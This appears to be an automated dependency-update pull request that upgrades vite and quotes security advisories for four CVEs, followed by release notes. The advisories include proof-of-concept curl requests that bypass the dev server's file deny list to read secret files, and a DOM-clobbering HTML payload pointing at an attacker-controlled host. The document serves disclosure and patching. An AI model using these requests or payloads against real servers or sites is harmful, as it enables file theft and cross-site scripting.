Vite dev server optionserver.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
Vite dev server optionserver.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.
Impact
Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.
Reproduction
Set fs.deny to ['**/.git/**'] and then curl for /.git/config.
with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Release Notes
vitejs/vite (vite)
### [`v5.1.8`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.8)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.7...v5.1.8)
Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.8/packages/vite/CHANGELOG.md) for details.
### [`v5.1.7`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.7)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.6...v5.1.7)
Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.7/packages/vite/CHANGELOG.md) for details.
### [`v5.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small516-2024-03-11-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.5...v5.1.6)
- chore(deps): update all non-major dependencies ([#16131](https://redirect.github.com/vitejs/vite/issues/16131)) ([a862ecb](https://redirect.github.com/vitejs/vite/commit/a862ecb)), closes [#16131](https://redirect.github.com/vitejs/vite/issues/16131)
- fix: check for publicDir before checking if it is a parent directory ([#16046](https://redirect.github.com/vitejs/vite/issues/16046)) ([b6fb323](https://redirect.github.com/vitejs/vite/commit/b6fb323)), closes [#16046](https://redirect.github.com/vitejs/vite/issues/16046)
- fix: escape single quote when relative base is used ([#16060](https://redirect.github.com/vitejs/vite/issues/16060)) ([8f74ce4](https://redirect.github.com/vitejs/vite/commit/8f74ce4)), closes [#16060](https://redirect.github.com/vitejs/vite/issues/16060)
- fix: handle function property extension in namespace import ([#16113](https://redirect.github.com/vitejs/vite/issues/16113)) ([f699194](https://redirect.github.com/vitejs/vite/commit/f699194)), closes [#16113](https://redirect.github.com/vitejs/vite/issues/16113)
- fix: server middleware mode resolve ([#16122](https://redirect.github.com/vitejs/vite/issues/16122)) ([8403546](https://redirect.github.com/vitejs/vite/commit/8403546)), closes [#16122](https://redirect.github.com/vitejs/vite/issues/16122)
- fix(esbuild): update tsconfck to fix bug that could cause a deadlock ([#16124](https://redirect.github.com/vitejs/vite/issues/16124)) ([fd9de04](https://redirect.github.com/vitejs/vite/commit/fd9de04)), closes [#16124](https://redirect.github.com/vitejs/vite/issues/16124)
- fix(worker): hide "The emitted file overwrites" warning if the content is same ([#16094](https://redirect.github.com/vitejs/vite/issues/16094)) ([60dfa9e](https://redirect.github.com/vitejs/vite/commit/60dfa9e)), closes [#16094](https://redirect.github.com/vitejs/vite/issues/16094)
- fix(worker): throw error when circular worker import is detected and support self referencing worker ([eef9da1](https://redirect.github.com/vitejs/vite/commit/eef9da1)), closes [#16103](https://redirect.github.com/vitejs/vite/issues/16103)
- style(utils): remove null check ([#16112](https://redirect.github.com/vitejs/vite/issues/16112)) ([0d2df52](https://redirect.github.com/vitejs/vite/commit/0d2df52)), closes [#16112](https://redirect.github.com/vitejs/vite/issues/16112)
- refactor(runtime): share more code between runtime and main bundle ([#16063](https://redirect.github.com/vitejs/vite/issues/16063)) ([93be84e](https://redirect.github.com/vitejs/vite/commit/93be84e)), closes [#16063](https://redirect.github.com/vitejs/vite/issues/16063)
### [`v5.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small515-2024-03-04-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.4...v5.1.5)
- fix: `__vite__mapDeps` code injection ([#15732](https://redirect.github.com/vitejs/vite/issues/15732)) ([aff54e1](https://redirect.github.com/vitejs/vite/commit/aff54e1)), closes [#15732](https://redirect.github.com/vitejs/vite/issues/15732)
- fix: analysing build chunk without dependencies ([#15469](https://redirect.github.com/vitejs/vite/issues/15469)) ([bd52283](https://redirect.github.com/vitejs/vite/commit/bd52283)), closes [#15469](https://redirect.github.com/vitejs/vite/issues/15469)
- fix: import with query with imports field ([#16085](https://redirect.github.com/vitejs/vite/issues/16085)) ([ab823ab](https://redirect.github.com/vitejs/vite/commit/ab823ab)), closes [#16085](https://redirect.github.com/vitejs/vite/issues/16085)
- fix: normalize literal-only entry pattern ([#16010](https://redirect.github.com/vitejs/vite/issues/16010)) ([1dccc37](https://redirect.github.com/vitejs/vite/commit/1dccc37)), closes [#16010](https://redirect.github.com/vitejs/vite/issues/16010)
- fix: optimizeDeps.entries with literal-only pattern(s) ([#15853](https://redirect.github.com/vitejs/vite/issues/15853)) ([49300b3](https://redirect.github.com/vitejs/vite/commit/49300b3)), closes [#15853](https://redirect.github.com/vitejs/vite/issues/15853)
- fix: output correct error for empty import specifier ([#16055](https://redirect.github.com/vitejs/vite/issues/16055)) ([a9112eb](https://redirect.github.com/vitejs/vite/commit/a9112eb)), closes [#16055](https://redirect.github.com/vitejs/vite/issues/16055)
- fix: upgrade esbuild to 0.20.x ([#16062](https://redirect.github.com/vitejs/vite/issues/16062)) ([899d9b1](https://redirect.github.com/vitejs/vite/commit/899d9b1)), closes [#16062](https://redirect.github.com/vitejs/vite/issues/16062)
- fix(runtime): runtime HMR affects only imported files ([#15898](https://redirect.github.com/vitejs/vite/issues/15898)) ([57463fc](https://redirect.github.com/vitejs/vite/commit/57463fc)), closes [#15898](https://redirect.github.com/vitejs/vite/issues/15898)
- fix(scanner): respect `experimentalDecorators: true` ([#15206](https://redirect.github.com/vitejs/vite/issues/15206)) ([4144781](https://redirect.github.com/vitejs/vite/commit/4144781)), closes [#15206](https://redirect.github.com/vitejs/vite/issues/15206)
- revert: "fix: upgrade esbuild to 0.20.x" ([#16072](https://redirect.github.com/vitejs/vite/issues/16072)) ([11cceea](https://redirect.github.com/vitejs/vite/commit/11cceea)), closes [#16072](https://redirect.github.com/vitejs/vite/issues/16072)
- refactor: share code with vite runtime ([#15907](https://redirect.github.com/vitejs/vite/issues/15907)) ([b20d542](https://redirect.github.com/vitejs/vite/commit/b20d542)), closes [#15907](https://redirect.github.com/vitejs/vite/issues/15907)
- refactor(runtime): use functions from `pathe` ([#16061](https://redirect.github.com/vitejs/vite/issues/16061)) ([aac2ef7](https://redirect.github.com/vitejs/vite/commit/aac2ef7)), closes [#16061](https://redirect.github.com/vitejs/vite/issues/16061)
- chore(deps): update all non-major dependencies ([#16028](https://redirect.github.com/vitejs/vite/issues/16028)) ([7cfe80d](https://redirect.github.com/vitejs/vite/commit/7cfe80d)), closes [#16028](https://redirect.github.com/vitejs/vite/issues/16028)
### [`v5.1.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small514-2024-02-21-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.3...v5.1.4)
- perf: remove unnecessary regex s modifier ([#15766](https://redirect.github.com/vitejs/vite/issues/15766)) ([8dc1b73](https://redirect.github.com/vitejs/vite/commit/8dc1b73)), closes [#15766](https://redirect.github.com/vitejs/vite/issues/15766)
- fix: fs cached checks disabled by default for yarn pnp ([#15920](https://redirect.github.com/vitejs/vite/issues/15920)) ([8b11fea](https://redirect.github.com/vitejs/vite/commit/8b11fea)), closes [#15920](https://redirect.github.com/vitejs/vite/issues/15920)
- fix: resolve directory correctly when `fs.cachedChecks: true` ([#15983](https://redirect.github.com/vitejs/vite/issues/15983)) ([4fe971f](https://redirect.github.com/vitejs/vite/commit/4fe971f)), closes [#15983](https://redirect.github.com/vitejs/vite/issues/15983)
- fix: srcSet with optional descriptor ([#15905](https://redirect.github.com/vitejs/vite/issues/15905)) ([81b3bd0](https://redirect.github.com/vitejs/vite/commit/81b3bd0)), closes [#15905](https://redirect.github.com/vitejs/vite/issues/15905)
- fix(deps): update all non-major dependencies ([#15959](https://redirect.github.com/vitejs/vite/issues/15959)) ([571a3fd](https://redirect.github.com/vitejs/vite/commit/571a3fd)), closes [#15959](https://redirect.github.com/vitejs/vite/issues/15959)
- fix(watch): build watch fails when outDir is empty string ([#15979](https://redirect.github.com/vitejs/vite/issues/15979)) ([1d263d3](https://redirect.github.com/vitejs/vite/commit/1d263d3)), closes [#15979](https://redirect.github.com/vitejs/vite/issues/15979)
### [`v5.1.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small513-2024-02-15-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.2...v5.1.3)
- fix: cachedTransformMiddleware for direct css requests ([#15919](https://redirect.github.com/vitejs/vite/issues/15919)) ([5099028](https://redirect.github.com/vitejs/vite/commit/5099028)), closes [#15919](https://redirect.github.com/vitejs/vite/issues/15919)
- refactor(runtime): minor tweaks ([#15904](https://redirect.github.com/vitejs/vite/issues/15904)) ([63a39c2](https://redirect.github.com/vitejs/vite/commit/63a39c2)), closes [#15904](https://redirect.github.com/vitejs/vite/issues/15904)
- refactor(runtime): seal ES module namespace object instead of feezing ([#15914](https://redirect.github.com/vitejs/vite/issues/15914)) ([4172f02](https://redirect.github.com/vitejs/vite/commit/4172f02)), closes [#15914](https://redirect.github.com/vitejs/vite/issues/15914)
### [`v5.1.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small512-2024-02-14-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.1...v5.1.2)
- fix: normalize import file path info ([#15772](https://redirect.github.com/vitejs/vite/issues/15772)) ([306df44](https://redirect.github.com/vitejs/vite/commit/306df44)), closes [#15772](https://redirect.github.com/vitejs/vite/issues/15772)
- fix(build): do not output build time when build fails ([#15711](https://redirect.github.com/vitejs/vite/issues/15711)) ([added3e](https://redirect.github.com/vitejs/vite/commit/added3e)), closes [#15711](https://redirect.github.com/vitejs/vite/issues/15711)
- fix(runtime): pass path instead of fileURL to `isFilePathESM` ([#15908](https://redirect.github.com/vitejs/vite/issues/15908)) ([7b15607](https://redirect.github.com/vitejs/vite/commit/7b15607)), closes [#15908](https://redirect.github.com/vitejs/vite/issues/15908)
- fix(worker): support UTF-8 encoding in inline workers (fixes [#12117](https://redirect.github.com/vitejs/vite/issues/12117)) ([#15866](https://redirect.github.com/vitejs/vite/issues/15866)) ([570e0f1](https://redirect.github.com/vitejs/vite/commit/570e0f1)), closes [#12117](https://redirect.github.com/vitejs/vite/issues/12117) [#15866](https://redirect.github.com/vitejs/vite/issues/15866)
- chore: update license file ([#15885](https://redirect.github.com/vitejs/vite/issues/15885)) ([d9adf18](https://redirect.github.com/vitejs/vite/commit/d9adf18)), closes [#15885](https://redirect.github.com/vitejs/vite/issues/15885)
- chore(deps): update all non-major dependencies ([#15874](https://redirect.github.com/vitejs/vite/issues/15874)) ([d16ce5d](https://redirect.github.com/vitejs/vite/commit/d16ce5d)), closes [#15874](https://redirect.github.com/vitejs/vite/issues/15874)
- chore(deps): update dependency dotenv-expand to v11 ([#15875](https://redirect.github.com/vitejs/vite/issues/15875)) ([642d528](https://redirect.github.com/vitejs/vite/commit/642d528)), closes [#15875](https://redirect.github.com/vitejs/vite/issues/15875)
### [`v5.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small511-2024-02-09-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.0...v5.1.1)
- fix: empty CSS file was output when only .css?url is used ([#15846](https://redirect.github.com/vitejs/vite/issues/15846)) ([b2873ac](https://redirect.github.com/vitejs/vite/commit/b2873ac)), closes [#15846](https://redirect.github.com/vitejs/vite/issues/15846)
- fix: skip not only .js but also .mjs manifest entries ([#15841](https://redirect.github.com/vitejs/vite/issues/15841)) ([3d860e7](https://redirect.github.com/vitejs/vite/commit/3d860e7)), closes [#15841](https://redirect.github.com/vitejs/vite/issues/15841)
- chore: post 5.1 release edits ([#15840](https://redirect.github.com/vitejs/vite/issues/15840)) ([9da6502](https://redirect.github.com/vitejs/vite/commit/9da6502)), closes [#15840](https://redirect.github.com/vitejs/vite/issues/15840)
### [`v5.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#510-2024-02-08)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.13...v5.1.0)
- chore: revert [#15746](https://redirect.github.com/vitejs/vite/issues/15746) ([#15839](https://redirect.github.com/vitejs/vite/issues/15839)) ([ed875f8](https://redirect.github.com/vitejs/vite/commit/ed875f8)), closes [#15746](https://redirect.github.com/vitejs/vite/issues/15746) [#15839](https://redirect.github.com/vitejs/vite/issues/15839)
- fix: pass `customLogger` to `loadConfigFromFile` (fix [#15824](https://redirect.github.com/vitejs/vite/issues/15824)) ([#15831](https://redirect.github.com/vitejs/vite/issues/15831)) ([55a3427](https://redirect.github.com/vitejs/vite/commit/55a3427)), closes [#15824](https://redirect.github.com/vitejs/vite/issues/15824) [#15831](https://redirect.github.com/vitejs/vite/issues/15831)
- fix(deps): update all non-major dependencies ([#15803](https://redirect.github.com/vitejs/vite/issues/15803)) ([e0a6ef2](https://redirect.github.com/vitejs/vite/commit/e0a6ef2)), closes [#15803](https://redirect.github.com/vitejs/vite/issues/15803)
- refactor: remove `vite build --force` ([#15837](https://redirect.github.com/vitejs/vite/issues/15837)) ([f1a4242](https://redirect.github.com/vitejs/vite/commit/f1a4242)), closes [#15837](https://redirect.github.com/vitejs/vite/issues/15837)
### [`v5.0.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.13)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.12...v5.0.13)
Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.13/packages/vite/CHANGELOG.md) for details.
### [`v5.0.12`](https://redirect.github.com/vitejs/vite/releases/tag/v5.0.12)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.11...v5.0.12)
Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.0.12/packages/vite/CHANGELOG.md) for details.
### [`v5.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5011-2024-01-05-small)
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.0.10...v5.0.11)
- fix: don't pretransform classic script links ([#15361](https://redirect.github.com/vitejs/vite/issues/15361)) ([19e3c9a](https://redirect.github.com/vitejs/vite/commit/19e3c9a)), closes [#15361](https://redirect.github.com/vitejs/vite/issues/15361)
- fix: inject `__vite__mapDeps` code before sourcemap file comment ([#15483](https://redirect.github.com/vitejs/vite/issues/15483)) ([d2aa096](https://redirect.github.com/vitejs/vite/commit/d2aa096)), closes [#15483](https://redirect.github.com/vitejs/vite/issues/15483)
- fix(assets): avoid splitting `,` inside base64 value of `srcset` attribute ([#15422](https://redirect.github.com/vitejs/vite/issues/15422)) ([8de7bd2](https://redirect.github.com/vitejs/vite/commit/8de7bd2)), closes [#15422](https://redirect.github.com/vitejs/vite/issues/15422)
- fix(html): handle offset magic-string slice error ([#15435](https://redirect.github.com/vitejs/vite/issues/15435)) ([5ea9edb](https://redirect.github.com/vitejs/vite/commit/5ea9edb)), closes [#15435](https://redirect.github.com/vitejs/vite/issues/15435)
- chore(deps): update dependency strip-literal to v2 ([#15475](https://redirect.github.com/vitejs/vite/issues/15475)) ([49d21fe](https://redirect.github.com/vitejs/vite/commit/49d21fe)), closes [#15475](https://redirect.github.com/vitejs/vite/issues/15475)
- chore(deps): update tj-actions/changed-files action to v41 ([#15476](https://redirect.github.com/vitejs/vite/issues/15476)) ([2a540ee](https://redirect.github.com/vitejs/vite/commit/2a540ee)), closes [#15476](https://redirect.github.com/vitejs/vite/issues/15476)
Configuration
📅 Schedule: Branch creation - "" in timezone America/Los_Angeles, Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
[ ] If you want to rebase/retry this PR, check this box
This PR contains the following updates:
5.0.10
->5.1.8
GitHub Vulnerability Alerts
CVE-2024-23331
Summary
Vite dev server option
server.fs.deny
can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatch
defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatch
usage, wherenocase
is defaulted tofalse
: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.deny
fails to block access to sensitive files.PoC
Setup
npm create vite@latest
on a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0
custom.secret
andproduction.pem
vite.config.js
withReproduction
curl -s http://20.12.242.81:5173/@​fs//
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
Proof
Impact
Who
What
server.fs.deny
are both discoverable, and accessibleCVE-2024-31207
Summary
Vite dev server option
server.fs.deny
did not deny requests for patterns with directories. An example of such a pattern is/foo/**/*
.Impact
Only apps setting a custom
server.fs.deny
that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using--host
orserver.host
config option) are affected.Patches
Fixed in vite@5.2.6, vite@5.1.7, vite@5.0.13, vite@4.5.3, vite@3.2.10, vite@2.9.18
Details
server.fs.deny
uses picomatch with the config of{ matchBase: true }
. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set{ dot: true }
and that causes dotfiles not to be denied unless they are explicitly defined.Reproduction
Set fs.deny to
['**/.git/**']
and then curl for/.git/config
.matchBase: true
, you can get any file under.git/
(config, HEAD, etc).matchBase: false
, you cannot get any file under.git/
(config, HEAD, etc).CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs
,iife
, orumd
. In such cases, Vite replaces relative paths starting with__VITE_ASSET__
using the URL retrieved fromdocument.currentScript
.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.After running the build command, the developer will get following bundle as the output.
Adding the Vite bundled script,
dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load theextra.js
file from the attacker's domain,attacker.controlled.server
. The attacker only needs to insert animg
tag with thename
attribute set tocurrentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs
,iife
, orumd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding?import&raw
to the URL bypasses this limitation and returns the file content if it exists.PoC
Release Notes
vitejs/vite (vite)
### [`v5.1.8`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.8) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.7...v5.1.8) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.8/packages/vite/CHANGELOG.md) for details. ### [`v5.1.7`](https://redirect.github.com/vitejs/vite/releases/tag/v5.1.7) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.6...v5.1.7) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.1.7/packages/vite/CHANGELOG.md) for details. ### [`v5.1.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small516-2024-03-11-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.5...v5.1.6) - chore(deps): update all non-major dependencies ([#16131](https://redirect.github.com/vitejs/vite/issues/16131)) ([a862ecb](https://redirect.github.com/vitejs/vite/commit/a862ecb)), closes [#16131](https://redirect.github.com/vitejs/vite/issues/16131) - fix: check for publicDir before checking if it is a parent directory ([#16046](https://redirect.github.com/vitejs/vite/issues/16046)) ([b6fb323](https://redirect.github.com/vitejs/vite/commit/b6fb323)), closes [#16046](https://redirect.github.com/vitejs/vite/issues/16046) - fix: escape single quote when relative base is used ([#16060](https://redirect.github.com/vitejs/vite/issues/16060)) ([8f74ce4](https://redirect.github.com/vitejs/vite/commit/8f74ce4)), closes [#16060](https://redirect.github.com/vitejs/vite/issues/16060) - fix: handle function property extension in namespace import ([#16113](https://redirect.github.com/vitejs/vite/issues/16113)) ([f699194](https://redirect.github.com/vitejs/vite/commit/f699194)), closes [#16113](https://redirect.github.com/vitejs/vite/issues/16113) - fix: server middleware mode resolve ([#16122](https://redirect.github.com/vitejs/vite/issues/16122)) ([8403546](https://redirect.github.com/vitejs/vite/commit/8403546)), closes [#16122](https://redirect.github.com/vitejs/vite/issues/16122) - fix(esbuild): update tsconfck to fix bug that could cause a deadlock ([#16124](https://redirect.github.com/vitejs/vite/issues/16124)) ([fd9de04](https://redirect.github.com/vitejs/vite/commit/fd9de04)), closes [#16124](https://redirect.github.com/vitejs/vite/issues/16124) - fix(worker): hide "The emitted file overwrites" warning if the content is same ([#16094](https://redirect.github.com/vitejs/vite/issues/16094)) ([60dfa9e](https://redirect.github.com/vitejs/vite/commit/60dfa9e)), closes [#16094](https://redirect.github.com/vitejs/vite/issues/16094) - fix(worker): throw error when circular worker import is detected and support self referencing worker ([eef9da1](https://redirect.github.com/vitejs/vite/commit/eef9da1)), closes [#16103](https://redirect.github.com/vitejs/vite/issues/16103) - style(utils): remove null check ([#16112](https://redirect.github.com/vitejs/vite/issues/16112)) ([0d2df52](https://redirect.github.com/vitejs/vite/commit/0d2df52)), closes [#16112](https://redirect.github.com/vitejs/vite/issues/16112) - refactor(runtime): share more code between runtime and main bundle ([#16063](https://redirect.github.com/vitejs/vite/issues/16063)) ([93be84e](https://redirect.github.com/vitejs/vite/commit/93be84e)), closes [#16063](https://redirect.github.com/vitejs/vite/issues/16063) ### [`v5.1.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small515-2024-03-04-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.1.4...v5.1.5) - fix: `__vite__mapDeps` code injection ([#15732](https://redirect.github.com/vitejs/vite/issues/15732)) ([aff54e1](https://redirect.github.com/vitejs/vite/commit/aff54e1)), closes [#15732](https://redirect.github.com/vitejs/vite/issues/15732) - fix: analysing build chunk without dependencies ([#15469](https://redirect.github.com/vitejs/vite/issues/15469)) ([bd52283](https://redirect.github.com/vitejs/vite/commit/bd52283)), closes [#15469](https://redirect.github.com/vitejs/vite/issues/15469) - fix: import with query with imports field ([#16085](https://redirect.github.com/vitejs/vite/issues/16085)) ([ab823ab](https://redirect.github.com/vitejs/vite/commit/ab823ab)), closes [#16085](https://redirect.github.com/vitejs/vite/issues/16085) - fix: normalize literal-only entry pattern ([#16010](https://redirect.github.com/vitejs/vite/issues/16010)) ([1dccc37](https://redirect.github.com/vitejs/vite/commit/1dccc37)), closes [#16010](https://redirect.github.com/vitejs/vite/issues/16010) - fix: optimizeDeps.entries with literal-only pattern(s) ([#15853](https://redirect.github.com/vitejs/vite/issues/15853)) ([49300b3](https://redirect.github.com/vitejs/vite/commit/49300b3)), closes [#15853](https://redirect.github.com/vitejs/vite/issues/15853) - fix: output correct error for empty import specifier ([#16055](https://redirect.github.com/vitejs/vite/issues/16055)) ([a9112eb](https://redirect.github.com/vitejs/vite/commit/a9112eb)), closes [#16055](https://redirect.github.com/vitejs/vite/issues/16055) - fix: upgrade esbuild to 0.20.x ([#16062](https://redirect.github.com/vitejs/vite/issues/16062)) ([899d9b1](https://redirect.github.com/vitejs/vite/commit/899d9b1)), closes [#16062](https://redirect.github.com/vitejs/vite/issues/16062) - fix(runtime): runtime HMR affects only imported files ([#15898](https://redirect.github.com/vitejs/vite/issues/15898)) ([57463fc](https://redirect.github.com/vitejs/vite/commit/57463fc)), closes [#15898](https://redirect.github.com/vitejs/vite/issues/15898) - fix(scanner): respect `experimentalDecorators: true` ([#15206](https://redirect.github.com/vitejs/vite/issues/15206)) ([4144781](https://redirect.github.com/vitejs/vite/commit/4144781)), closes [#15206](https://redirect.github.com/vitejs/vite/issues/15206) - revert: "fix: upgrade esbuild to 0.20.x" ([#16072](https://redirect.github.com/vitejs/vite/issues/16072)) ([11cceea](https://redirect.github.com/vitejs/vite/commit/11cceea)), closes [#16072](https://redirect.github.com/vitejs/vite/issues/16072) - refactor: share code with vite runtime ([#15907](https://redirect.github.com/vitejs/vite/issues/15907)) ([b20d542](https://redirect.github.com/vitejs/vite/commit/b20d542)), closes [#15907](https://redirect.github.com/vitejs/vite/issues/15907) - refactor(runtime): use functions from `pathe` ([#16061](https://redirect.github.com/vitejs/vite/issues/16061)) ([aac2ef7](https://redirect.github.com/vitejs/vite/commit/aac2ef7)), closes [#16061](https://redirect.github.com/vitejs/vite/issues/16061) - chore(deps): update all non-major dependencies ([#16028](https://redirect.github.com/vitejs/vite/issues/16028)) 